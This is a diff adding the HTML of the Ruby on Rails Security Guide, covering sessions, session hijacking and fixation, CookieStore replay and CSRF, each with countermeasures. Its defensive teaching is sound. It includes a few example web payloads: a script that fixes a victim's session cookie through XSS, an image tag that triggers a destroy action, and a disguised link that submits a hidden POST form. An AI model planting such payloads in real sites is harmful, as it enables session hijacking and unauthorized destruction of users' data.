322
+ <script type="text/javascript" src="javascripts/syntaxhighlighter/shBrushSql.js"></script>
323
+ <script type="text/javascript" src="javascripts/syntaxhighlighter/shBrushPlain.js"></script>
324
+ <script type="text/javascript">
325
+ SyntaxHighlighter.all();
326
+ $(guidesIndex.bind);
327
+ </script>
328
+ </body>
329
+ </html>
@@ -0,0 +1,935 @@
1
+ <!DOCTYPE html>
2
+
3
+ <html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
4
+ <head>
5
+ <meta http-equiv="Content-Type" content="text/html; charset=utf-8"/>
6
+ <meta name="viewport" content="width=device-width, initial-scale=1"/>
7
+
8
+ <title>Ruby on Rails Security Guide — Ruby on Rails Guides</title>
9
+ <link rel="stylesheet" type="text/css" href="stylesheets/style.css" />
10
+ <link rel="stylesheet" type="text/css" href="stylesheets/print.css" media="print" />
11
+
12
+ <link rel="stylesheet" type="text/css" href="stylesheets/syntaxhighlighter/shCore.css" />
13
+ <link rel="stylesheet" type="text/css" href="stylesheets/syntaxhighlighter/shThemeRailsGuides.css" />
14
+
15
+ <link rel="stylesheet" type="text/css" href="stylesheets/fixes.css" />
16
+
17
+ <link href="images/favicon.ico" rel="shortcut icon" type="image/x-icon" />
18
+ </head>
19
+ <body class="guide">
20
+ <div id="topNav">
21
+ <div class="wrapper">
22
+ <strong class="more-info-label">More at <a href="http://rubyonrails.org/">rubyonrails.org:</a> </strong>
23
+ <span class="red-button more-info-button">
24
+ More Ruby on Rails
25
+ </span>
26
+ <ul class="more-info-links s-hidden">
27
+ <li class="more-info"><a href="http://rubyonrails.org/">Overview</a></li>
28
+ <li class="more-info"><a href="http://rubyonrails.org/download">Download</a></li>
29
+ <li class="more-info"><a href="http://rubyonrails.org/deploy">Deploy</a></li>
30
+ <li class="more-info"><a href="https://github.com/rails/rails">Code</a></li>
31
+ <li class="more-info"><a href="http://rubyonrails.org/screencasts">Screencasts</a></li>
32
+ <li class="more-info"><a href="http://rubyonrails.org/documentation">Documentation</a></li>
33
+ <li class="more-info"><a href="http://rubyonrails.org/community">Community</a></li>
34
+ <li class="more-info"><a href="http://weblog.rubyonrails.org/">Blog</a></li>
35
+ </ul>
36
+ </div>
37
+ </div>
38
+ <div id="header">
39
+ <div class="wrapper clearfix">
40
+ <h1><a href="index.html" title="Return to home page">Guides.rubyonrails.org</a></h1>
41
+ <ul class="nav">
42
+ <li><a class="nav-item" href="index.html">Home</a></li>
43
+ <li class="guides-index guides-index-large">
44
+ <a href="index.html" id="guidesMenu" class="guides-index-item nav-item">Guides Index</a>
45
+ <div id="guides" class="clearfix" style="display: none;">
46
+ <hr />
47
+ <dl class="L">
48
+ <dt>Start Here</dt>
49
+ <dd><a href="getting_started.html">Getting Started with Rails</a></dd>
50
+ <dt>Models</dt>
51
+ <dd><a href="active_record_basics.html">Active Record Basics</a></dd>
52
+ <dd><a href="active_record_migrations.html">Active Record Migrations</a></dd>
53
+ <dd><a href="active_record_validations.html">Active Record Validations</a></dd>
54
+ <dd><a href="active_record_callbacks.html">Active Record Callbacks</a></dd>
55
+ <dd><a href="association_basics.html">Active Record Associations</a></dd>
56
+ <dd><a href="active_record_querying.html">Active Record Query Interface</a></dd>
57
+ <dt>Views</dt>
58
+ <dd><a href="layouts_and_rendering.html">Layouts and Rendering in Rails</a></dd>
59
+ <dd><a href="form_helpers.html">Action View Form Helpers</a></dd>
60
+ <dt>Controllers</dt>
61
+ <dd><a href="action_controller_overview.html">Action Controller Overview</a></dd>
62
+ <dd><a href="routing.html">Rails Routing from the Outside In</a></dd>
63
+ </dl>
64
+ <dl class="R">
65
+ <dt>Digging Deeper</dt>
66
+ <dd><a href="active_support_core_extensions.html">Active Support Core Extensions</a></dd>
67
+ <dd><a href="i18n.html">Rails Internationalization API</a></dd>
68
+ <dd><a href="action_mailer_basics.html">Action Mailer Basics</a></dd>
69
+ <dd><a href="active_job_basics.html">Active Job Basics</a></dd>
70
+ <dd><a href="security.html">Securing Rails Applications</a></dd>
71
+ <dd><a href="debugging_rails_applications.html">Debugging Rails Applications</a></dd>
72
+ <dd><a href="configuring.html">Configuring Rails Applications</a></dd>
73
+ <dd><a href="command_line.html">Rails Command Line Tools and Rake Tasks</a></dd>
74
+ <dd><a href="asset_pipeline.html">Asset Pipeline</a></dd>
75
+ <dd><a href="working_with_javascript_in_rails.html">Working with JavaScript in Rails</a></dd>
76
+ <dt>Extending Rails</dt>
77
+ <dd><a href="rails_on_rack.html">Rails on Rack</a></dd>
78
+ <dd><a href="generators.html">Creating and Customizing Rails Generators</a></dd>
79
+ <dt>Contributing to Ruby on Rails</dt>
80
+ <dd><a href="contributing_to_ruby_on_rails.html">Contributing to Ruby on Rails</a></dd>
81
+ <dd><a href="api_documentation_guidelines.html">API Documentation Guidelines</a></dd>
82
+ <dd><a href="ruby_on_rails_guides_guidelines.html">Ruby on Rails Guides Guidelines</a></dd>
83
+ <dt>Maintenance Policy</dt>
84
+ <dd><a href="maintenance_policy.html">Maintenance Policy</a></dd>
85
+ <dt>Release Notes</dt>
86
+ <dd><a href="upgrading_ruby_on_rails.html">Upgrading Ruby on Rails</a></dd>
87
+ <dd><a href="4_1_release_notes.html">Ruby on Rails 4.1 Release Notes</a></dd>
88
+ <dd><a href="4_0_release_notes.html">Ruby on Rails 4.0 Release Notes</a></dd>
89
+ <dd><a href="3_2_release_notes.html">Ruby on Rails 3.2 Release Notes</a></dd>
90
+ <dd><a href="3_1_release_notes.html">Ruby on Rails 3.1 Release Notes</a></dd>
91
+ <dd><a href="3_0_release_notes.html">Ruby on Rails 3.0 Release Notes</a></dd>
92
+ <dd><a href="2_3_release_notes.html">Ruby on Rails 2.3 Release Notes</a></dd>
93
+ <dd><a href="2_2_release_notes.html">Ruby on Rails 2.2 Release Notes</a></dd>
94
+ </dl>
95
+ </div>
96
+ </li>
97
+ <li><a class="nav-item" href="contributing_to_ruby_on_rails.html">Contribute</a></li>
98
+ <li><a class="nav-item" href="credits.html">Credits</a></li>
99
+ <li class="guides-index guides-index-small">
100
+ <select class="guides-index-item nav-item">
101
+ <option value="index.html">Guides Index</option>
102
+ <optgroup label="Start Here">
103
+ <option value="getting_started.html">Getting Started with Rails</option>
104
+ </optgroup>
105
+ <optgroup label="Models">
106
+ <option value="active_record_basics.html">Active Record Basics</option>
107
+ <option value="active_record_migrations.html">Active Record Migrations</option>
108
+ <option value="active_record_validations.html">Active Record Validations</option>
109
+ <option value="active_record_callbacks.html">Active Record Callbacks</option>
110
+ <option value="association_basics.html">Active Record Associations</option>
111
+ <option value="active_record_querying.html">Active Record Query Interface</option>
112
+ </optgroup>
113
+ <optgroup label="Views">
114
+ <option value="layouts_and_rendering.html">Layouts and Rendering in Rails</option>
115
+ <option value="form_helpers.html">Action View Form Helpers</option>
116
+ </optgroup>
117
+ <optgroup label="Controllers">
118
+ <option value="action_controller_overview.html">Action Controller Overview</option>
119
+ <option value="routing.html">Rails Routing from the Outside In</option>
120
+ </optgroup>
121
+ <optgroup label="Digging Deeper">
122
+ <option value="active_support_core_extensions.html">Active Support Core Extensions</option>
123
+ <option value="i18n.html">Rails Internationalization API</option>
124
+ <option value="action_mailer_basics.html">Action Mailer Basics</option>
125
+ <option value="active_job_basics.html">Active Job Basics</option>
126
+ <option value="security.html">Securing Rails Applications</option>
127
+ <option value="debugging_rails_applications.html">Debugging Rails Applications</option>
128
+ <option value="configuring.html">Configuring Rails Applications</option>
129
+ <option value="command_line.html">Rails Command Line Tools and Rake Tasks</option>
130
+ <option value="asset_pipeline.html">Asset Pipeline</option>
131
+ <option value="working_with_javascript_in_rails.html">Working with JavaScript in Rails</option>
132
+ </optgroup>
133
+ <optgroup label="Extending Rails">
134
+ <option value="rails_on_rack.html">Rails on Rack</option>
135
+ <option value="generators.html">Creating and Customizing Rails Generators</option>
136
+ </optgroup>
137
+ <optgroup label="Contributing to Ruby on Rails">
138
+ <option value="contributing_to_ruby_on_rails.html">Contributing to Ruby on Rails</option>
139
+ <option value="api_documentation_guidelines.html">API Documentation Guidelines</option>
140
+ <option value="ruby_on_rails_guides_guidelines.html">Ruby on Rails Guides Guidelines</option>
141
+ </optgroup>
142
+ <optgroup label="Maintenance Policy">
143
+ <option value="maintenance_policy.html">Maintenance Policy</option>
144
+ </optgroup>
145
+ <optgroup label="Release Notes">
146
+ <option value="upgrading_ruby_on_rails.html">Upgrading Ruby on Rails</option>
147
+ <option value="4_1_release_notes.html">Ruby on Rails 4.1 Release Notes</option>
148
+ <option value="4_0_release_notes.html">Ruby on Rails 4.0 Release Notes</option>
149
+ <option value="3_2_release_notes.html">Ruby on Rails 3.2 Release Notes</option>
150
+ <option value="3_1_release_notes.html">Ruby on Rails 3.1 Release Notes</option>
151
+ <option value="3_0_release_notes.html">Ruby on Rails 3.0 Release Notes</option>
152
+ <option value="2_3_release_notes.html">Ruby on Rails 2.3 Release Notes</option>
153
+ <option value="2_2_release_notes.html">Ruby on Rails 2.2 Release Notes</option>
154
+ </optgroup>
155
+ </select>
156
+ </li>
157
+ </ul>
158
+ </div>
159
+ </div>
160
+ <hr class="hide" />
161
+
162
+ <div id="feature">
163
+ <div class="wrapper">
164
+ <h2>Ruby on Rails Security Guide</h2><p>This manual describes common security problems in web applications and how to avoid them with Rails.</p><p>After reading this guide, you will know:</p>
165
+ <ul>
166
+ <li>All countermeasures <em>that are highlighted</em>.</li>
167
+ <li>The concept of sessions in Rails, what to put in there and popular attack methods.</li>
168
+ <li>How just visiting a site can be a security problem (with CSRF).</li>
169
+ <li>What you have to pay attention to when working with files or providing an administration interface.</li>
170
+ <li>How to manage users: Logging in and out and attack methods on all layers.</li>
171
+ <li>And the most popular injection attack methods.</li>
172
+ </ul>
173
+
174
+
175
+ <div id="subCol">
176
+ <h3 class="chapter"><img src="images/chapters_icon.gif" alt="" />Chapters</h3>
177
+ <ol class="chapters">
178
+ <li><a href="#introduction">Introduction</a></li>
179
+ <li>
180
+ <a href="#sessions">Sessions</a>
181
+
182
+ <ul>
183
+ <li><a href="#what-are-sessions-questionmark">What are Sessions?</a></li>
184
+ <li><a href="#session-id">Session id</a></li>
185
+ <li><a href="#session-hijacking">Session Hijacking</a></li>
186
+ <li><a href="#session-guidelines">Session Guidelines</a></li>
187
+ <li><a href="#session-storage">Session Storage</a></li>
188
+ <li><a href="#replay-attacks-for-cookiestore-sessions">Replay Attacks for CookieStore Sessions</a></li>
189
+ <li><a href="#session-fixation">Session Fixation</a></li>
190
+ <li><a href="#session-fixation---countermeasures">Session Fixation - Countermeasures</a></li>
191
+ <li><a href="#session-expiry">Session Expiry</a></li>
192
+ </ul>
193
+ </li>
194
+ <li>
195
+ <a href="#cross-site-request-forgery-(csrf)">Cross-Site Request Forgery (CSRF)</a>
196
+
197
+ <ul>
198
+ <li><a href="#csrf-countermeasures">CSRF Countermeasures</a></li>
199
+ </ul>
200
+ </li>
201
+ <li>
202
+ <a href="#redirection-and-files">Redirection and Files</a>
203
+
204
+ <ul>
205
+ <li><a href="#redirection">Redirection</a></li>
206
+ <li><a href="#file-uploads">File Uploads</a></li>
207
+ <li><a href="#executable-code-in-file-uploads">Executable Code in File Uploads</a></li>
208
+ <li><a href="#file-downloads">File Downloads</a></li>
209
+ </ul>
210
+ </li>
211
+ <li>
212
+ <a href="#intranet-and-admin-security">Intranet and Admin Security</a>
213
+
214
+ <ul>
215
+ <li><a href="#additional-precautions">Additional Precautions</a></li>
216
+ </ul>
217
+ </li>
218
+ <li>
219
+ <a href="#user-management">User Management</a>
220
+
221
+ <ul>
222
+ <li><a href="#brute-forcing-accounts">Brute-Forcing Accounts</a></li>
223
+ <li><a href="#account-hijacking">Account Hijacking</a></li>
224
+ <li><a href="#captchas">CAPTCHAs</a></li>
225
+ <li><a href="#logging">Logging</a></li>
226
+ <li><a href="#good-passwords">Good Passwords</a></li>
227
+ <li><a href="#regular-expressions">Regular Expressions</a></li>
228
+ <li><a href="#privilege-escalation">Privilege Escalation</a></li>
229
+ </ul>
230
+ </li>
231
+ <li>
232
+ <a href="#injection">Injection</a>
233
+
234
+ <ul>
235
+ <li><a href="#whitelists-versus-blacklists">Whitelists versus Blacklists</a></li>
236
+ <li><a href="#sql-injection">SQL Injection</a></li>
237
+ <li><a href="#cross-site-scripting-(xss)">Cross-Site Scripting (XSS)</a></li>
238
+ <li><a href="#css-injection">CSS Injection</a></li>
239
+ <li><a href="#textile-injection">Textile Injection</a></li>
240
+ <li><a href="#ajax-injection">Ajax Injection</a></li>
241
+ <li><a href="#command-line-injection">Command Line Injection</a></li>
242
+ <li><a href="#header-injection">Header Injection</a></li>
243
+ </ul>
244
+ </li>
245
+ <li><a href="#unsafe-query-generation">Unsafe Query Generation</a></li>
246
+ <li><a href="#default-headers">Default Headers</a></li>
247
+ <li><a href="#environmental-security">Environmental Security</a></li>
248
+ <li><a href="#additional-resources">Additional Resources</a></li>
249
+ </ol>
250
+
251
+ </div>
252
+
253
+ </div>
254
+ </div>
255
+
256
+ <div id="container">
257
+ <div class="wrapper">
258
+ <div id="mainCol">
259
+ <h3 id="introduction">1 Introduction</h3><p>Web application frameworks are made to help developers build web applications. Some of them also help you with securing the web application. In fact one framework is not more secure than another: If you use it correctly, you will be able to build secure apps with many frameworks. Ruby on Rails has some clever helper methods, for example against SQL injection, so that this is hardly a problem.</p><p>In general there is no such thing as plug-n-play security. Security depends on the people using the framework, and sometimes on the development method. And it depends on all layers of a web application environment: The back-end storage, the web server and the web application itself (and possibly other layers or applications).</p><p>The Gartner Group however estimates that 75% of attacks are at the web application layer, and found out "that out of 300 audited sites, 97% are vulnerable to attack". This is because web applications are relatively easy to attack, as they are simple to understand and manipulate, even by the lay person.</p><p>The threats against web applications include user account hijacking, bypass of access control, reading or modifying sensitive data, or presenting fraudulent content. Or an attacker might be able to install a Trojan horse program or unsolicited e-mail sending software, aim at financial enrichment or cause brand name damage by modifying company resources. In order to prevent attacks, minimize their impact and remove points of attack, first of all, you have to fully understand the attack methods in order to find the correct countermeasures. That is what this guide aims at.</p><p>In order to develop secure web applications you have to keep up to date on all layers and know your enemies. To keep up to date subscribe to security mailing lists, read security blogs and make updating and security checks a habit (check the <a href="#additional-resources">Additional Resources</a> chapter). It is done manually because that's how you find the nasty logical security problems.</p><h3 id="sessions">2 Sessions</h3><p>A good place to start looking at security is with sessions, which can be vulnerable to particular attacks.</p><h4 id="what-are-sessions-questionmark">2.1 What are Sessions?</h4><div class="note"><p><em>HTTP is a stateless protocol. Sessions make it stateful.</em></p></div><p>Most applications need to keep track of certain state of a particular user. This could be the contents of a shopping basket or the user id of the currently logged in user. Without the idea of sessions, the user would have to identify, and probably authenticate, on every request.
260
+ Rails will create a new session automatically if a new user accesses the application. It will load an existing session if the user has already used the application.</p><p>A session usually consists of a hash of values and a session id, usually a 32-character string, to identify the hash. Every cookie sent to the client's browser includes the session id. And the other way round: the browser will send it to the server on every request from the client. In Rails you can save and retrieve values using the session method:</p><div class="code_container">
261
+ <pre class="brush: ruby; gutter: false; toolbar: false">
262
+ session[:user_id] = @current_user.id
263
+ User.find(session[:user_id])
264
+
265
+ </pre>
266
+ </div>
267
+ <h4 id="session-id">2.2 Session id</h4><div class="note"><p><em>The session id is a 32 byte long MD5 hash value.</em></p></div><p>A session id consists of the hash value of a random string. The random string is the current time, a random number between 0 and 1, the process id number of the Ruby interpreter (also basically a random number) and a constant string. Currently it is not feasible to brute-force Rails' session ids. To date MD5 is uncompromised, but there have been collisions, so it is theoretically possible to create another input text with the same hash value. But this has had no security impact to date.</p><h4 id="session-hijacking">2.3 Session Hijacking</h4><div class="warning"><p><em>Stealing a user's session id lets an attacker use the web application in the victim's name.</em></p></div><p>Many web applications have an authentication system: a user provides a user name and password, the web application checks them and stores the corresponding user id in the session hash. From now on, the session is valid. On every request the application will load the user, identified by the user id in the session, without the need for new authentication. The session id in the cookie identifies the session.</p><p>Hence, the cookie serves as temporary authentication for the web application. Anyone who seizes a cookie from someone else, may use the web application as this user - with possibly severe consequences. Here are some ways to hijack a session, and their countermeasures:</p>
268
+ <ul>
269
+ <li>
270
+ <p>Sniff the cookie in an insecure network. A wireless LAN can be an example of such a network. In an unencrypted wireless LAN it is especially easy to listen to the traffic of all connected clients. For the web application builder this means to <em>provide a secure connection over SSL</em>. In Rails 3.1 and later, this could be accomplished by always forcing SSL connection in your application config file:</p>
271
+ <div class="code_container">
272
+ <pre class="brush: ruby; gutter: false; toolbar: false">
273
+ config.force_ssl = true
274
+
275
+ </pre>
276
+ </div>
277
+ </li>
278
+ <li><p>Most people don't clear out the cookies after working at a public terminal. So if the last user didn't log out of a web application, you would be able to use it as this user. Provide the user with a <em>log-out button</em> in the web application, and <em>make it prominent</em>.</p></li>
279
+ <li><p>Many cross-site scripting (XSS) exploits aim at obtaining the user's cookie. You'll read <a href="#cross-site-scripting-xss">more about XSS</a> later.</p></li>
280
+ <li><p>Instead of stealing a cookie unknown to the attacker, they fix a user's session identifier (in the cookie) known to them. Read more about this so-called session fixation later.</p></li>
281
+ </ul>
282
+ <p>The main objective of most attackers is to make money. The underground prices for stolen bank login accounts range from $10-$1000 (depending on the available amount of funds), $0.40-$20 for credit card numbers, $1-$8 for online auction site accounts and $4-$30 for email passwords, according to the <a href="http://eval.symantec.com/mktginfo/enterprise/white_papers/b-whitepaper_internet_security_threat_report_xiii_04-2008.en-us.pdf">Symantec Global Internet Security Threat Report</a>.</p><h4 id="session-guidelines">2.4 Session Guidelines</h4><p>Here are some general guidelines on sessions.</p>
283
+ <ul>
284
+ <li><p><em>Do not store large objects in a session</em>. Instead you should store them in the database and save their id in the session. This will eliminate synchronization headaches and it won't fill up your session storage space (depending on what session storage you chose, see below).
285
+ This will also be a good idea, if you modify the structure of an object and old versions of it are still in some user's cookies. With server-side session storages you can clear out the sessions, but with client-side storages, this is hard to mitigate.</p></li>
286
+ <li><p><em>Critical data should not be stored in session</em>. If the user clears their cookies or closes the browser, they will be lost. And with a client-side session storage, the user can read the data.</p></li>
287
+ </ul>
288
+ <h4 id="session-storage">2.5 Session Storage</h4><div class="note"><p><em>Rails provides several storage mechanisms for the session hashes. The most important is <code>ActionDispatch::Session::CookieStore</code>.</em></p></div><p>Rails 2 introduced a new default session storage, CookieStore. CookieStore saves the session hash directly in a cookie on the client-side. The server retrieves the session hash from the cookie and eliminates the need for a session id. That will greatly increase the speed of the application, but it is a controversial storage option and you have to think about the security implications of it:</p>
289
+ <ul>
290
+ <li><p>Cookies imply a strict size limit of 4kB. This is fine as you should not store large amounts of data in a session anyway, as described before. <em>Storing the current user's database id in a session is usually ok</em>.</p></li>
291
+ <li><p>The client can see everything you store in a session, because it is stored in clear-text (actually Base64-encoded, so not encrypted). So, of course, <em>you don't want to store any secrets here</em>. To prevent session hash tampering, a digest is calculated from the session with a server-side secret and inserted into the end of the cookie.</p></li>
292
+ </ul>
293
+ <p>That means the security of this storage depends on this secret (and on the digest algorithm, which defaults to SHA1, for compatibility). So <em>don't use a trivial secret, i.e. a word from a dictionary, or one which is shorter than 30 characters</em>.</p><p><code>secrets.secret_key_base</code> is used for specifying a key which allows sessions for the application to be verified against a known secure key to prevent tampering. Applications get <code>secrets.secret_key_base</code> initialized to a random key present in <code>config/secrets.yml</code>, e.g.:</p><div class="code_container">
294
+ <pre class="brush: plain; gutter: false; toolbar: false">
295
+ development:
296
+ secret_key_base: a75d...
297
+
298
+ test:
299
+ secret_key_base: 492f...
300
+
301
+ production:
302
+ secret_key_base: &lt;%= ENV["SECRET_KEY_BASE"] %&gt;
303
+
304
+ </pre>
305
+ </div>
306
+ <p>Older versions of Rails use CookieStore, which uses <code>secret_token</code> instead of <code>secret_key_base</code> that is used by EncryptedCookieStore. Read the upgrade documentation for more information.</p><p>If you have received an application where the secret was exposed (e.g. an application whose source was shared), strongly consider changing the secret.</p><h4 id="replay-attacks-for-cookiestore-sessions">2.6 Replay Attacks for CookieStore Sessions</h4><div class="info"><p><em>Another sort of attack you have to be aware of when using <code>CookieStore</code> is the replay attack.</em></p></div><p>It works like this:</p>
307
+ <ul>
308
+ <li>A user receives credits, the amount is stored in a session (which is a bad idea anyway, but we'll do this for demonstration purposes).</li>
309
+ <li>The user buys something.</li>
310
+ <li>The new adjusted credit value is stored in the session.</li>
311
+ <li>The user takes the cookie from the first step (which they previously copied) and replaces the current cookie in the browser.</li>
312
+ <li>The user has their original credit back.</li>
313
+ </ul>
314
+ <p>Including a nonce (a random value) in the session solves replay attacks. A nonce is valid only once, and the server has to keep track of all the valid nonces. It gets even more complicated if you have several application servers (mongrels). Storing nonces in a database table would defeat the entire purpose of CookieStore (avoiding accessing the database).</p><p>The best <em>solution against it is not to store this kind of data in a session, but in the database</em>. In this case store the credit in the database and the logged_in_user_id in the session.</p><h4 id="session-fixation">2.7 Session Fixation</h4><div class="note"><p><em>Apart from stealing a user's session id, the attacker may fix a session id known to them. This is called session fixation.</em></p></div><p><img src="images/session_fixation.png" alt="Session fixation"></p><p>This attack focuses on fixing a user's session id known to the attacker, and forcing the user's browser into using this id. It is therefore not necessary for the attacker to steal the session id afterwards. Here is how this attack works:</p>
315
+ <ul>
316
+ <li>The attacker creates a valid session id: They load the login page of the web application where they want to fix the session, and take the session id in the cookie from the response (see number 1 and 2 in the image).</li>
317
+ <li>They maintain the session by accessing the web application periodically in order to keep an expiring session alive.</li>
318
+ <li>The attacker forces the user's browser into using this session id (see number 3 in the image). As you may not change a cookie of another domain (because of the same origin policy), the attacker has to run a JavaScript from the domain of the target web application. Injecting the JavaScript code into the application by XSS accomplishes this attack. Here is an example: <code>&lt;script&gt;document.cookie="_session_id=16d5b78abb28e3d6206b60f22a03c8d9";&lt;/script&gt;</code>. Read more about XSS and injection later on.</li>
319
+ <li>The attacker lures the victim to the infected page with the JavaScript code. By viewing the page, the victim's browser will change the session id to the trap session id.</li>
320
+ <li>As the new trap session is unused, the web application will require the user to authenticate.</li>
321
+ <li>From now on, the victim and the attacker will co-use the web application with the same session: The session became valid and the victim didn't notice the attack.</li>
322
+ </ul>
323
+ <h4 id="session-fixation---countermeasures">2.8 Session Fixation - Countermeasures</h4><div class="info"><p><em>One line of code will protect you from session fixation.</em></p></div><p>The most effective countermeasure is to <em>issue a new session identifier</em> and declare the old one invalid after a successful login. That way, an attacker cannot use the fixed session identifier. This is a good countermeasure against session hijacking, as well. Here is how to create a new session in Rails:</p><div class="code_container">
324
+ <pre class="brush: ruby; gutter: false; toolbar: false">
325
+ reset_session
326
+
327
+ </pre>
328
+ </div>
329
+ <p>If you use the popular RestfulAuthentication plugin for user management, add reset_session to the SessionsController#create action. Note that this removes any value from the session, <em>you have to transfer them to the new session</em>.</p><p>Another countermeasure is to <em>save user-specific properties in the session</em>, verify them every time a request comes in, and deny access, if the information does not match. Such properties could be the remote IP address or the user agent (the web browser name), though the latter is less user-specific. When saving the IP address, you have to bear in mind that there are Internet service providers or large organizations that put their users behind proxies. <em>These might change over the course of a session</em>, so these users will not be able to use your application, or only in a limited way.</p><h4 id="session-expiry">2.9 Session Expiry</h4><div class="note"><p><em>Sessions that never expire extend the time-frame for attacks such as cross-site request forgery (CSRF), session hijacking and session fixation.</em></p></div><p>One possibility is to set the expiry time-stamp of the cookie with the session id. However the client can edit cookies that are stored in the web browser so expiring sessions on the server is safer. Here is an example of how to <em>expire sessions in a database table</em>. Call <code>Session.sweep("20 minutes")</code> to expire sessions that were used longer than 20 minutes ago.</p><div class="code_container">
330
+ <pre class="brush: ruby; gutter: false; toolbar: false">
331
+ class Session &lt; ActiveRecord::Base
332
+ def self.sweep(time = 1.hour)
333
+ if time.is_a?(String)
334
+ time = time.split.inject { |count, unit| count.to_i.send(unit) }
335
+ end
336
+
337
+ delete_all "updated_at &lt; '#{time.ago.to_s(:db)}'"
338
+ end
339
+ end
340
+
341
+ </pre>
342
+ </div>
343
+ <p>The section about session fixation introduced the problem of maintained sessions. An attacker maintaining a session every five minutes can keep the session alive forever, although you are expiring sessions. A simple solution for this would be to add a created_at column to the sessions table. Now you can delete sessions that were created a long time ago. Use this line in the sweep method above:</p><div class="code_container">
344
+ <pre class="brush: ruby; gutter: false; toolbar: false">
345
+ delete_all "updated_at &lt; '#{time.ago.to_s(:db)}' OR
346
+ created_at &lt; '#{2.days.ago.to_s(:db)}'"
347
+
348
+ </pre>
349
+ </div>
350
+ <h3 id="cross-site-request-forgery-(csrf)">3 Cross-Site Request Forgery (CSRF)</h3><p>This attack method works by including malicious code or a link in a page that accesses a web application that the user is believed to have authenticated. If the session for that web application has not timed out, an attacker may execute unauthorized commands.</p><p><img src="images/csrf.png" alt=""></p><p>In the <a href="#sessions">session chapter</a> you have learned that most Rails applications use cookie-based sessions. Either they store the session id in the cookie and have a server-side session hash, or the entire session hash is on the client-side. In either case the browser will automatically send along the cookie on every request to a domain, if it can find a cookie for that domain. The controversial point is, that it will also send the cookie, if the request comes from a site of a different domain. Let's start with an example:</p>
351
+ <ul>
352
+ <li>Bob browses a message board and views a post from a hacker where there is a crafted HTML image element. The element references a command in Bob's project management application, rather than an image file.</li>
353
+ <li><code>&lt;img src="http://www.webapp.com/project/1/destroy"&gt;</code></li>
354
+ <li>Bob's session at <a href="http://www.webapp.com">www.webapp.com</a> is still alive, because he didn't log out a few minutes ago.</li>
355
+ <li>By viewing the post, the browser finds an image tag. It tries to load the suspected image from <a href="http://www.webapp.com">www.webapp.com</a>. As explained before, it will also send along the cookie with the valid session id.</li>
356
+ <li>The web application at <a href="http://www.webapp.com">www.webapp.com</a> verifies the user information in the corresponding session hash and destroys the project with the ID 1. It then returns a result page which is an unexpected result for the browser, so it will not display the image.</li>
357
+ <li>Bob doesn't notice the attack - but a few days later he finds out that project number one is gone.</li>
358
+ </ul>
359
+ <p>It is important to notice that the actual crafted image or link doesn't necessarily have to be situated in the web application's domain, it can be anywhere - in a forum, blog post or email.</p><p>CSRF appears very rarely in CVE (Common Vulnerabilities and Exposures) - less than 0.1% in 2006 - but it really is a 'sleeping giant' [Grossman]. This is in stark contrast to the results in many security contract works - <em>CSRF is an important security issue</em>.</p><h4 id="csrf-countermeasures">3.1 CSRF Countermeasures</h4><div class="note"><p><em>First, as is required by the W3C, use GET and POST appropriately. Secondly, a security token in non-GET requests will protect your application from CSRF.</em></p></div><p>The HTTP protocol basically provides two main types of requests - GET and POST (and more, but they are not supported by most browsers). The World Wide Web Consortium (W3C) provides a checklist for choosing HTTP GET or POST:</p><p><strong>Use GET if:</strong></p>
360
+ <ul>
361
+ <li>The interaction is more <em>like a question</em> (i.e., it is a safe operation such as a query, read operation, or lookup).</li>
362
+ </ul>
363
+ <p><strong>Use POST if:</strong></p>
364
+ <ul>
365
+ <li>The interaction is more <em>like an order</em>, or</li>
366
+ <li>The interaction <em>changes the state</em> of the resource in a way that the user would perceive (e.g., a subscription to a service), or</li>
367
+ <li>The user is <em>held accountable for the results</em> of the interaction.</li>
368
+ </ul>
369
+ <p>If your web application is RESTful, you might be used to additional HTTP verbs, such as PATCH, PUT or DELETE. Most of today's web browsers, however do not support them - only GET and POST. Rails uses a hidden <code>_method</code> field to handle this barrier.</p><p><em>POST requests can be sent automatically, too</em>. Here is an example for a link which displays <a href="http://www.harmless.com">www.harmless.com</a> as destination in the browser's status bar. In fact it dynamically creates a new form that sends a POST request.</p><div class="code_container">
370
+ <pre class="brush: xml; gutter: false; toolbar: false">
371
+ &lt;a href="http://www.harmless.com/" onclick="
372
+ var f = document.createElement('form');
373
+ f.style.display = 'none';
374
+ this.parentNode.appendChild(f);
375
+ f.method = 'POST';
376
+ f.action = 'http://www.example.com/account/destroy';
377
+ f.submit();
378
+ return false;"&gt;To the harmless survey&lt;/a&gt;
379
+
380
+ </pre>
381
+ </div>
382
+ <p>Or the attacker places the code into the onmouseover event handler of an image:</p><div class="code_container">
383
+ <pre class="brush: xml; gutter: false; toolbar: false">
384
+ &lt;img src="http://www.harmless.com/img" width="400" height="400" onmouseover="..." /&gt;
385
+
386
+ </pre>
387
+ </div>
388
+ <p>There are many other possibilities, like using a <code>&lt;script&gt;</code> tag to make a cross-site request to a URL with a JSONP or JavaScript response. The response is executable code that the attacker can find a way to run, possibly extracting sensitive data. To protect against this data leakage, we disallow cross-site <code>&lt;script&gt;</code> tags. Only Ajax requests may have JavaScript responses since XmlHttpRequest is subject to the browser Same-Origin policy - meaning only your site can initiate the request.</p><p>To protect against all other forged requests, we introduce a <em>required security token</em> that our site knows but other sites don't know. We include the security token in requests and verify it on the server. This is a one-liner in your application controller, and is the default for newly created rails applications:</p><div class="code_container">
389
+ <pre class="brush: ruby; gutter: false; toolbar: false">
390
+ protect_from_forgery with: :exception
391
+
392
+ </pre>
393
+ </div>
394
+ <p>This will automatically include a security token in all forms and Ajax requests generated by Rails. If the security token doesn't match what was expected, an exception will be thrown.</p><p>It is common to use persistent cookies to store user information, with <code>cookies.permanent</code> for example. In this case, the cookies will not be cleared and the out of the box CSRF protection will not be effective. If you are using a different cookie store than the session for this information, you must handle what to do with it yourself:</p><div class="code_container">
395
+ <pre class="brush: ruby; gutter: false; toolbar: false">
396
+ rescue_from ActionController::InvalidAuthenticityToken do |exception|
397
+ sign_out_user # Example method that will destroy the user cookies
398
+ end
399
+
400
+ </pre>
401
+ </div>
402
